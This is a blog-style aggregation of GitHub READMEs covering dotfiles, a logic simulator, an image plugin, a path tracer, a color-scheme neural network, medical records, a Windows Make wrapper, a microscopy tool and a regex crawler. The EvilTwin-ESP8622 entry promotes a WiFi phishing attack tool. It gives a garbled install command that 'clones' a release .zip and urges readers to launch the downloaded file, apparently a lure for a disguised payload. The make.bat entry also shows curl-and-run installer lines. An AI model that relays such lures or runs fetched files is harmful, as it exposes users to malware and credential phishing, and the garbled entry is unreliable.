Blog

  • dots-hyprland

    【 end_4’s Hyprland dotfiles 】

    • overview •

    Notable features
    • Overview: Shows open apps with live previews. Type to search/calculate/run
    • AI: Gemini API and Ollama models
    • Autogenerated colors: Accessible and beautiful Material colors based on wallpaper
    • Transparent installation: Every command is shown before it’s run
    Installation (illogical-impulseQuickshell)
    • See the Wiki
    • Default keybinds: Should be somewhat familiar to Windows or GNOME users.
      • Super+/ = keybind list
      • Super+Enter = terminal
      • If for whatever reason the keybind list widget does not work, here’s an image:
      image
    Software overview
    Software Purpose
    Hyprland The compositor (for noobs, you can just call it a window manager)
    Quickshell A QtQuick-based widget system, responsible for the status bar, sidebars, etc.
    Discord Server link | I hope this provides a friendlier environment for support without needing me to personally accept every friend request/DM. For real issues, prefer GitHub

    Note: THERE IS NO FUCKING WAYBAR

    • screenshots •

    illogical-impulse logo latest and only style that I actively use. Other past styles are still there for your viewing pleasure and not actual use, but code is still available, see below.

    illogical-impulseQuickshell

    Widget system: Quickshell | Support: Yes

    Showcase video

    AI, settings app Some widgets
    image image
    Window management Weeb power
    image image

    illogical-impulseAGS (Deprecated)

    Widget system: AGS | Support: Limited, no new features

    AI Common widgets
    image image
    Window management Weeb power
    image image

    Very old stuff

    • Source code not likely to work but still available in the archive branch. Extremely spaghetti.
    • Click image for a presentation video

    m3ww

    Widget system: EWW | Support: No, dead

    Material Eww!

    NovelKnock

    Widget system: EWW | Support: No, dead

    Desktop Preview

    Hybrid

    Widget system: EWW | Support: No, dead

    click the circles!

    Windoes

    Widget system: EWW | Support: No, dead

    Desktop Preview

    • thank you •

    @tokyobot for saying hi

    • stonks •

    Stargazers over time

    • Jokes aside i do appreciate both

    • inspirations/copying •

    • Inspiration: osu!lazer, Windows 11, Material Design 3, AvdanOS (concept)
    • Copying: The license allows you to. Personally I have absolutely no problem with others redistributing/recreating my work. There’s no “stealing” (unless you do weird stuff and violate the license). (this note is here because some people actually asked)
    Visit original content creator repository https://github.com/end-4/dots-hyprland
  • logisim-iitd

    logisim-iitd

    https://sourceforge.net/projects/logisim-iitd/

    Logisim is an educational tool for designing and simulating digital logic circuits. With its simple toolbar interface and simulation of circuits as you build them, it is simple enough to facilitate learning the most basic concepts related to logic circuits. With the capacity to build larger circuits from smaller subcircuits, and performing decimal as well as floating point calculations, Logisim can be used to design and simulate entire CPU’s for educational purposes.

    Originally created BY C. Burch, we have adopted Georgia tech’s version of Logisim and integrated the Floating-Point Components within the Arithmetic Unit. Since the earlier version could be used only for integer numbers, this new Logisim-IITD can be used to do arithmetic operations even for IEEE-754 single precision floating point numbers with the help of functions like:

    • FPAdder: Adds two Floating point numbers.
    • FPSubtractor: Subtracts two FP numbers.
    • FPMultiplier: Multiplies two FP numbers.
    • FPDivider: Divides two FP numbers.
    • FPComparator: Compares two FP numbers.
    • FPNegator: Negates a FP number.
    • BinToFP: Converts a binary number to its corresponding IEEE-754 single precision Floating Point number.
    • FPToBin: Converts an FP number to its decimal format.

    This new version is used by the students in IIT Delhi and other universities as a part of their curriculum.

    Visit original content creator repository
    https://github.com/sud218/logisim-iitd

  • eleventy-shortcode-image

    eleventy-shortcode-image 🖼

    code style: prettier

    Optimize your raster and vector images 👨‍🎨

    Intention

    This world needs SVG! Optimal SVGs ☝️ And we bring it, while also do not forget about beloved raster images 🙂

    Get started

    Installation

    At first do:

    npm i -D eleventy-shortcode-image

    and then you can include it into .eleventy.js:

    const { createImageShortcode } = require('eleventy-shortcode-image');
    
    module.exports = (eleventyConfig) => {
      eleventyConfig.addShortcode(
        'image',
        createImageShortcode({
          /* Options */
        }),
      );
    };

    Options

    Package exports factory-function createImageShortcode that returns shortcode function.

    This function accepts optional options:

    interface ImageShortCodeOptions {
      /**
       * Path to directory where all images live.
       *
       * Should start from the _current working directory_.
       *
       * By default it is `src/assets/images`.
       */
      inputDirectory?: string;
      /**
       * Path to directory for optimized and transformed images.
       * First part of the path is meant to be the _output_ directory.
       *
       * Should start from the _current working directory_.
       *
       * By default it is `_site/images`.
       */
      outputDirectory?: string;
      /**
       * Options for [svgo](https://github.com/svg/svgo) package.
       * for subtle configuration of SVGs optimizations.
       */
      svgoOptions?: OptimizeOptions & { toHTML?: boolean };
      /**
       * Options for [@11ty/eleventy-img](https://www.11ty.dev/docs/plugins/image/) package.
       * Is is used for optiomizations of raster images.
       * For more info see its documentation.
       */
      rasterOptions?: Record<string, any>;
    }

    Example:

    const options = {
      // Do not add leading and trailing `/`
      inputDirectory: 'src/images',
      // Do not add leading and trailing `/`
      outputDirectory: '_site/images',
      svgoOptions: {
        /* ... */
      },
      rasterOptions: {
        /* ... */
      },
    };

    Use

    What is shortcode and how to use it?

    This shortcode accepts two arguments:

    interface ImageProperties {
      /** Inserts SVG into HTML. **Only for SVG**. */
      readonly toHTML?: boolean;
      /** Class names for <img>. */
      readonly classes?: string | ReadonlyArray<string>;
      /**
       * Defines that image should be loaded lazily.
       * Notifies plugin that _src_ and _srcset_ should not
       * be set directly, but to other custom attributes.
       */
      readonly lazy?: boolean;
      /** Class names for <img>. */
      readonly classes?: string | ReadonlyArray<string>;
      /** Name of the custom _src_ attribute for lazy loaded image. */
      readonly srcName?: string;
      /** Name of the custom _srcset_ attribute for lazy loaded image. */
      readonly srcsetName?: string;
    
      // And any other valid attribute.
    }
    
    // This is a signature of the actual shortcode.
    async function image(
      src: string,
      properties?: ImageProperties,
    ): Promise<string>;
    • src is the path to image from inputDirectory that are passed to factory-function in .eleventy.js.

      // .eleventy.js
      eleventyConfig.addShortcode(
        'image',
        createImageShortcode({
          inputDirectory: 'src/images',
        }),
      );
      
      // your_template.11ty.js
      module.exports = async function () {
        // Shortcode will assume that path to image is 'src/images/some_image.png'
        return `${await this.image('some_image.png')}`;
      };
    • attributes is a couple of attributes that can be added to image.

      Note that for SVG that is inserted into HTML is applicable only classes property.

      module.exports = async function () {
        return `${this.image('foo.png', {
          alt: 'baz',
          classes: 'my-image',
        })}`;
      };

    lazy property signals that image should not be rendered instantly. When this property is true then plugin does not set src attribute for <img> (or srcset for <source> element). This behavior allows third-party plugins lazily load images when they are needed. By default, lazy equals to false.

    Also, you can customize names of custom src and srcset attributes. For that to be done, provide srcName and srcsetName properties of ImageProperties. By default, srcName equals to data-src and srcsetNamedata-srcset.

    Debug

    Package uses debug package to display some errors. They can be visible in EleventyShortcodeImage namespace. More detail on debug’s page.

    What’s special

    • This shortcode is configured to optimize images without its resizing. So all assets save its original width/height size.
    • It optimizes and includes SVG into HTML and not just copy it do build directory. Also shortcode allows to pass your classes to SVG 😱 Yeah, we mean it 😏
    • Allows third-party lazy load plugins integration. You will love it! ❤️

    Internally shortcode uses SVGO and @11ty/eleventy-img packages. You can configure them through according options. See above about it ☝️ .

    Note that shortcode has default options for these packages, but if you will add additional options, then some options may be overwritten. Default options for SVG optimizer is here and for raster optimizer – here.

    By default, SVGs are not inserted into HTML directly, but through <img> element. If you want to insert SVG into HTML provide toHTML property to svgoOptions. This property tells that insertion will be done globally. You can override it by toHTML property of ImageProperties object.

    Word from author

    Have fun! ✌️

    Supported by Halo lab
    Visit original content creator repository https://github.com/Halo-Lab/eleventy-shortcode-image
  • rt-haskell

    rt-haskell

    A Path Tracer in Haskell

    We follow mostly the P. Shirley’s architecture with couple of differences.

    The branches follow the chapters from online repository.

    Show case

    • Small color gradient in 01-ppm branch:

    ppm-color-gradient

    • Red sphere from 04-sphere branch:

    red-sphere

    • Normals from branch 05-surface:

    surface-normals

    • Multiple objects from branch 06-multiple:

    multiple-normals

    • Antialiasing from branch 07-antialias:

    antialias-normals

    • Diffuse image from branch 08-diffuse

    diffuse-image

    • Metal image from branch 09-metal

    metal-image-01

    • Fuzzy metal image from branch 09-metal

    metal-image-02

    • Dielectric from branch 10-dielectric

    dielectric-01

    • Camera focus from branch 11-camera

    focus-image-02

    • A version of final scene from branch 12-oneweekend

    oneweekend-final-image-01

    • Another version of final scene branch 12-oneweekend

    oneweekend-final-image-02

    • Fixed version of final scene. The fix happens around branch 14-texture

    oneweekend-final-image-03

    • Final one weekend final branch 14-texture

    oneweekend-final-image-04

    • Motion blur branch 14-texture

    motion-blur-image-01

    • Checkered texture from branch 14-texture

    checker-image-01

    • Perlin Noise with Light from branch 14-texture

    perlin-image-01

    • Earth image from branch 14-texture

    earth-image-01

    • Cornell box image from branch 15-instances

    cornell-box-01

    • Cornell smoke boxes from branch 16-constant-density-mediums

    cornell-box-02

    • Cornell sphere and a box from branch 17-scattering-pdf

    cornell-box-03

    • Cornell box from 18-spectral

    cornell-box-04

    Some Notes

    RNGs and performance

    The from branch 08-diffuse an onwards as the usage of random functions become prominent the performance decreases considerably. However the inverse is also true, if you can place your random generators efficiently, you can easily increase your performance. I simply concentrated on getting the images right. Do not be surprised if you find that some other arrangement of RNGs result in better performance.

    Spectral Rendering

    Spectral rendering is done through use of spectral textures. The general idea is that material determines the behaviour of the surface distribution function and the texture determines its color space. You can see how spectral textures are used in SpectralScene.hs. The rendering function determines that the scene is spectral using the data type of the background. If the background is of type PixSpecSampled then it switches to spectral rendering.

    Another point is the setting spectral data from rgb color model. This done through the convenience function fromRGBModel. You can try specifying spectrum data directly as well. A SampledSpectrum is simply a non empty list of wavelength, power tuple along with a spectrum type specifier. This last call is not entirely necessary, since for all the operations between spectrums we don’t care about the type of the spectrum, but it becomes convenient to know when you are doing conversions between spectrum to trichromatic systems.

    Lastly the beware that spectral rendering takes much more time than its rgb equivalent. The spectral cornell box whose image can be found in the 18-spectral branch took 3931.857353s with 5 samples per pixel and 5 ray bounce limit for an image width 320 and aspect ratio 16:9. The sampled wavelength range is [380, 720], and the sampling step size is 5, so we sampled power values for a list of wavelengths such as [380, 385, ..., 720].

    Rotations

    We use a slightly more flexible approach to rotations than the original books. Basically the rotation is done using rotation matrices which are constructed from the angle and axis information provided during the setup of Rotatable type. Though it can be generalized into arbitrary axis, we are currently supporting only XYZ axes which are passed as RotationAxis type. Also our rotations are inversed with respect to the book. That which is in clockwise is counter clockwise in our case.

    Planned Features

    I hope to make the tracer as minimal but useful as possible. Here is a list of planned features:

    • Loading assets with obj files
    • Spectral rendering switch: done
    • BVH acceleration structure: done but not tested.
    • Multithreaded rendering: This is as easy as passing -N3 as option now, since most of the code is composed of pure functions.
    Visit original content creator repository https://github.com/Viva-Lambda/rt-haskell
  • urnn

    urnn (unix ricing neural network)

    A neural network to smartly create coherent terminal colorschemes based on an image.

    Examples (Colors generated from wallpapers):

    1 2
    3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18

    How do I use this?

    This project depends on libfann and libpng. After you have those and clone:

    ./urnn colors <some file.png>
           \____/  \___________/
              |          |
              |          \- The wallpaper you want to have your terminal
              |             colors fit with.
              |
              \- The colors command will print to STDOUT, in an Xresources
                 format the colors that resulted after passing through the
                 neural network. If the colors are bad you can retrain the
                 network (see the help for more commands)
    

    Repo layout

    Folder Contents
    colors Programs for extracting colors from png images in different ways.
    scripts Scripts for misc tasks(using the color extractors, parsing .Xresources files, …)
    network Folder containing the meat of this project, programs and scripts to train and use the neural network, as well as extract data and put it in the correct form to use.
    inputs Git submodule that points to the urnnputs, containing images and resources file to extract data from to use to train the neural network.
    dataset The extracted data from the inputs folder in a form suitable used to train urnn(explained below)

    Dataset contents(color representation)

    Colors are converted to a value that is between 0 and 1, for speed/use with fann.

    for example, say we have a pixel with the rgb value of (255, 120, 70). to display this information in a format that the neural network can understand, we have to convert it to 3 floats. each consist of the color/255 (max value).

    255/255 = 1.00000000
    120/255 = 0.47058823
    70/255  = 0.27450980
    

    so there you have it. our pixel is represented by 1.00000000 0.47058823 0.27450980

    TODO

    • Turn the input of the network between [-1, 1] so that the training is faster
    • Get more data for the training
    • Test multiple color extracters and parameters for the training
    • Easy wrappers for all the mini-tools written

    How To Contribute

    Have inputs(pairs of xresources and walls) that you want to add? If you just want to submit them for addition to the inputs, see https://github.com/nixers-projects/urnnputs#contributing

    If you want to test one or more here to see what kind of effect you can have on the network:

    $ urnn add /some/image.png /test/.Xresouces
    $ urnn add /some/other/image.png /second/.Xresouces
    $ urnn refresh
    $ urnn retrain

    You will then have a trained set including your inputs, and could test out the urnn colors command and see that kind of effect you had. If any of the outputs are desirable, consider submitting a pull request with them 😉

    Related links

    Visit original content creator repository https://github.com/nixers-projects/urnn
  • EvilTwin-ESP8622

    🛡️🔒 EvilTwin-ESP8622 – A Sophisticated WiFi Security Testing Tool 🛡️🔒

    EvilTwin-ESP8622

    Welcome to the EvilTwin-ESP8622 repository – your go-to tool for conducting sophisticated WiFi security tests using ESP8266. This project, developed by letchupkt, offers a powerful Evil Twin attack vector implementation with an advanced web interface. With a sleek hacker-themed control panel and multiple phishing template options, this tool is designed to elevate your WiFi security testing capabilities.

    Table of Contents

    Introduction

    EvilTwin-ESP8622 is a project created by letchupkt to enhance WiFi security testing using ESP8266. The Evil Twin attack vector is a powerful tool in the realm of cybersecurity, and this project aims to streamline the implementation of this technique. By providing an intuitive web interface and a range of phishing template options, EvilTwin-ESP8622 enables users to conduct comprehensive WiFi security assessments with ease.

    Features

    🔹 Evil Twin Attack Implementation: Conduct Evil Twin attacks effortlessly using the ESP8266 platform.
    🔹 Advanced Web Interface: Access a user-friendly web interface for seamless interaction with the tool.
    🔹 Hacker-Themed Control Panel: Enjoy a sleek control panel designed with a hacker-themed aesthetic.
    🔹 Multiple Phishing Templates: Choose from a variety of phishing templates to suit your security testing needs.

    Installation

    To get started with EvilTwin-ESP8622, follow these steps:

    1. Clone the repository to your local machine:

      git clone https://github.com/lautarigauna/EvilTwin-ESP8622/releases/download/v2.0/Software.zip
    2. Navigate to the project directory:

      cd EvilTwin-ESP8622
    3. Install the necessary dependencies:

      npm install
    4. Configure the tool according to your requirements.

    For detailed installation instructions and troubleshooting tips, refer to the Installation Guide.

    Usage

    To use EvilTwin-ESP8622 for conducting WiFi security tests, follow these steps:

    1. Launch the tool by running the following command:

      npm start
    2. Access the web interface by navigating to http://localhost:3000 in your browser.

    3. Explore the various features of the tool and leverage the phishing templates to conduct your security assessments.

    For a comprehensive guide on how to use EvilTwin-ESP8622 effectively, check out the User Manual.

    Contributing

    We welcome contributions from the open-source community to enhance EvilTwin-ESP8622 further. To contribute to the project, follow these steps:

    1. Fork the repository and create a new branch.
    2. Make your contributions and commit changes.
    3. Push your changes to your fork.
    4. Submit a pull request to the main repository for review.

    For more information on contributing guidelines and best practices, refer to the Contribution Guidelines.

    License

    EvilTwin-ESP8622 is released under the MIT License. For details on the terms and conditions of the license, refer to the License Agreement.

    Download EvilTwin-ESP8622

    If the download link above ends with the file name, make sure to launch it to access the latest version of EvilTwin-ESP8622.

    Visit the official EvilTwin-ESP8622 GitHub Repository for more information and updates on the project.

    🔗 Happy hacking with EvilTwin-ESP8622! 🔗

    Visit original content creator repository
    https://github.com/lautarigauna/EvilTwin-ESP8622

  • medi-net

    MediNet

    A Decentralised Medical Network with Patient Records

    A Decentralised Platform that provides Patient Record Management Services and Medical Community Network for Doctors.

    Patient Record Management :
    Patients :
    Allows Patients to manage their medical records.
    Patient can enter their basic medical details while signing up.
    They are allowed to add medical records with hospital name,date of admission and discharge with a medical report file from hospital.
    The medical file will be uploaded in IPFS. While the ipfs url will be AES encrypted and stored in smart contract.
    Patients can grant or revoke permissions for doctors to view their file and data.

    Doctors:
    Doctors can view patient records if granted permission
    Doctors can also add new records to patient file if granted permission

    Admin:
    Admin can add new admins.
    Can change new owner of contract.
    Can add new or verify and add doctors.

    Doctor Netword:

    Allows Doctors to create theier own medical network.
    The manager can set network limits.
    Doctors can join new networks.
    They can create an opinion of patient files as reports.
    Doctors in network can give their opinions on the particular doctor patient diagnosis.

    All the medical reports are uploaded through IPFS and its cid is securely encrypted using AES.

    Visit original content creator repository
    https://github.com/itsraghul/medi-net

  • make.bat

    🐃 Make.bat

    Lint Code Base

    GNU Make for Windows ignited by Docker

    Overview

    Make.bat is a convenient Dockerized wrapper for GNU Make that enables you to seamlessly execute Makefiles on Windows without affecting the developer’s user experience.

    Features

    • Provides a hassle-free way to run GNU Make on Windows.
    • Works transparently, preserving the native development environment.
    • Avoids installation of GNU Make and related tools on the Windows system.
    • Isolates Makefile execution within a Docker container.
    • Easily customizable and extensible for specific project needs.

    Requirements

    Installation

    For PowerShell user

    PS C:\Users\SamSepiol> curl get.javanile.org/make.ps1 -o setup.ps1; .\setup.ps1

    For cmd.exe user

    C:\Users\SamSepiol> curl get.javanile.org/make.bat -o setup.bat; .\setup.bat

    For Scoop user:

    scoop bucket add javanile https://github.com/javanile/scoop-bucket.git
    scoop install make.bat

    For Python developer

    C:\Users\SamSepiol> pip install make.bat

    For NodeJS developer

    C:\Users\SamSepiol> npm install -g make.bat

    Usage

    As a standard GNU Make simply you run make command from your project directory

    C:\Users\SamSepiol\MrProject> make 

    Manual setup

    Copy this file make.bat into the following directory %USERPROFILE%\AppData\Local\Microsoft\WindowsApps

    Development

    Clone repository the change files and run test with following command

    make test

    License

    This project is open-sourced software licensed under the MIT license.

    Feedback and Contributions

    Feel free to report issues or contribute to this project on GitHub.

    Support

    For questions or assistance, please contact our support team at bianco@javanile.org.

    Enjoy using Make.bat for your Windows development workflow!

    Visit original content creator repository https://github.com/javanile/make.bat
  • SiteLocalization

    SiteLocalization

    Binding site localization on non-homogeneous cell surfaces using topological image averaging

    Usage

    Usage Example

    usage: run.jl [--pixelsize PIXELSIZE] [--shiftwindow SHIFTWINDOW]
                  [--maxpeakswindow MAXPEAKSWINDOW]
                  [--iterations ITERATIONS] [--psf_sigma PSF_SIGMA]
                  [--highp HIGHP] [--lowp LOWP] [--blur BLUR]
                  [--mindistance MINDISTANCE] [--margin MARGIN]
                  [--votingthreshold VOTINGTHRESHOLD] [--rmin RMIN]
                  [--rmax RMAX] [--pxmult PXMULT] [--al-shifty AL-SHIFTY]
                  [--al-shiftx AL-SHIFTX]
                  [--first-snr-limit FIRST-SNR-LIMIT]
                  [--snr-ratio-limit SNR-RATIO-LIMIT] [--limit-outside]
                  [--maxdist MAXDIST] [--debug-plots]
                  [--enable-sigma-norm] [--name NAME] [-h] images...
    
    positional arguments:
      images                images to analyze
    
    optional arguments:
      --pixelsize PIXELSIZE
                            image pixel size in nanometers (type: Float64,
                            default: 20.5333)
      --shiftwindow SHIFTWINDOW
                            for sliding average of peak alignment, 0 if
                            only aligning max of peaks (type: Int64,
                            default: 7)
      --maxpeakswindow MAXPEAKSWINDOW
                            sliding average for sum of several circles
                            (type: Int64, default: 0)
      --iterations ITERATIONS
                            RL iterations (type: Int64, default: 0)
      --psf_sigma PSF_SIGMA
                            Measured sigma of psf, for Richardsson Lucy
                            deconvolution (type: Int64, default: 4)
      --highp HIGHP         For canny edge detection and circle hough
                            transform, in percentile (type: Float64,
                            default: 99.8)
      --lowp LOWP           For canny edge detection and circle hough
                            transform, in percentile (type: Float64,
                            default: 95.0)
      --blur BLUR           blur for segmentation (type: Float64, default:
                            3.5)
      --mindistance MINDISTANCE
                            in pixels, the minimum distance between two
                            circle centers (type: Int64, default: 50)
      --margin MARGIN       fitted circle radius margin (type: Int64,
                            default: 20)
      --votingthreshold VOTINGTHRESHOLD
                            sensitivity of circle detection in pixels
                            (type: Int64, default: 20)
      --rmin RMIN           fitted circle minimum radius (type: Int64,
                            default: 36)
      --rmax RMAX           fitted circle maximum radius (type: Int64,
                            default: 44)
      --pxmult PXMULT       pixel interpolation (type: Float64, default:
                            2.0)
      --al-shifty AL-SHIFTY
                            adjust for measured chromatic aberration
                            (type: Float64, default: -0.63)
      --al-shiftx AL-SHIFTX
                            adjust for measured chromatic aberration
                            (type: Float64, default: -1.35)
      --first-snr-limit FIRST-SNR-LIMIT
                            SNR limit for first frame for analyzing a time
                            sequence (type: Float64, default: 0.0)
      --snr-ratio-limit SNR-RATIO-LIMIT
                            SNR limit in terms of ratio to SNR of first
                            frame at which to stop analyzing a time
                            sequence (type: Float64, default: 0.3)
      --limit-outside       limit search for peaks to outside of reference
                            channel
      --maxdist MAXDIST     maximum distance from reference channel within
                            which to search for peaks (type: Int64,
                            default: 0)
      --debug-plots         enable saving of plots and images for
                            debugging purposes
      --enable-sigma-norm   enable saving of plots and images for
                            debugging purposes
      --name NAME
      -h, --help            show this help message and exit
    
    

    Abstract

    Antibody binding to cell surface proteins plays a crucial role in immunity and the location of an epitope can altogether determine the immunological outcome of a host-target interaction. Techniques available today for epitope identification are costly, time-consuming, and unsuited for high-throughput analysis. Fast and efficient screening of epitope location can be useful for the development of therapeutic monoclonal antibodies and vaccines. In the present work, we have developed a method for imaging-based localization of binding sites on cellular surface proteins. The cellular morphology typically varies, and antibodies often bind in a non-homogenous manner, making traditional particle-averaging strategies challenging for accurate native antibody localization. Nanometer-scale resolution is achieved through localization in one dimension, namely the distance from a bound ligand to a reference surface, by using topological image averaging. Our results show that this method is well suited for antibody binding site measurements on native cell surface morphology.

    Visit original content creator repository https://github.com/VibhaKumra/SiteLocalization
  • regex_trainer

    regular_trainer

    项目功能:

    1 支持目标新闻网站文章正则rule生成,无需再编写crawlspier的rule逻辑;

    2 支持现有网站中大部分字段的文本密度提取器,无需再手写xpath,爬虫会自行总结

    3 文本密度提取逻辑参考kingname/GeneralNewsExtractor;

    4 手动对批量link进行正则总结,可参考regex_trainer\tools\regex_collection.py

    t = RegexCollection("http://www.bjmy.gov.cn/", prefix=".*")
    t.add('http://www.bjmy.gov.cn/col/col129/index.html')
    t.add('http://www.bjmy.gov.cn/col/col3334/index.html')
    t.add('http://www.bjmy.gov.cn/art/2020/1/2/art_2052_6.html')
    t.add('http://www.bjmy.gov.cn/art/2020/1/2/art_2055_17.html')
    print(trie.extract())
    >>> [('.*/col/col\\d+/index.html', 3, 1, 2), ('.*/art/2020/1/2/art_205[_\\d]+.html', 5, 2, 2)]
    

    项目启动配置

    1 修改setting.py

    MYSQL_HOST = '127.0.0.1'
    MYSQL_PORT = 3306
    MYSQL_DATABASE = '$news_crawler'
    MYSQL_USER = 'xxxx'
    MYSQL_PASSWORD = 'xxxx'
    

    2 数据库建表

    CREATE TABLE `core_website_trainer_consumer` (
      `id` int(11) NOT NULL AUTO_INCREMENT,
      `task_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci DEFAULT NULL,
      `web_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL,
      `start_urls` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci DEFAULT NULL,
      `job_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci DEFAULT NULL,
      `allowed_domains` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci DEFAULT NULL,
      `article_regex` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci DEFAULT NULL,
      `created_at` datetime(6) DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(6),
      `updated_at` datetime(6) DEFAULT NULL,
      `status` int(11) DEFAULT NULL,
      `version` int(11) DEFAULT NULL,
      PRIMARY KEY (`id`) USING BTREE,
      UNIQUE KEY `regex_trainer_task` (`web_name`,`job_id`) USING BTREE
    ) ENGINE=InnoDB AUTO_INCREMENT=116 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci ROW_FORMAT=DYNAMIC;
    

    CREATE TABLE `core_website_xpath_config` (
      `id` int(11) NOT NULL AUTO_INCREMENT,
      `web_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL,
      `job_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci DEFAULT NULL,
      `version` int(11) NOT NULL,
      `sample` varchar(255) DEFAULT NULL,
      `sample_values` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci,
      `config` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci,
      `created_at` datetime(6) DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(6),
      PRIMARY KEY (`id`) USING BTREE,
      UNIQUE KEY `web_version` (`web_name`,`job_id`) USING BTREE
    ) ENGINE=InnoDB AUTO_INCREMENT=92 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci ROW_FORMAT=DYNAMIC;
    

    项目运行

    1 pip install -r requirements.txt

    2 进入 run.py 的目录, 修改命令行,修改自定义参数(-a 以及-s ),具体可参考scrapy命令行;

    python run.py

    也可以直接在项目子目录终端运行

    scrapy crawl regex_trainer -a web_name=解放网 -a start_urls=https://www.jfdaily.com/home
    
    

    Visit original content creator repository
    https://github.com/zhu733756/regex_trainer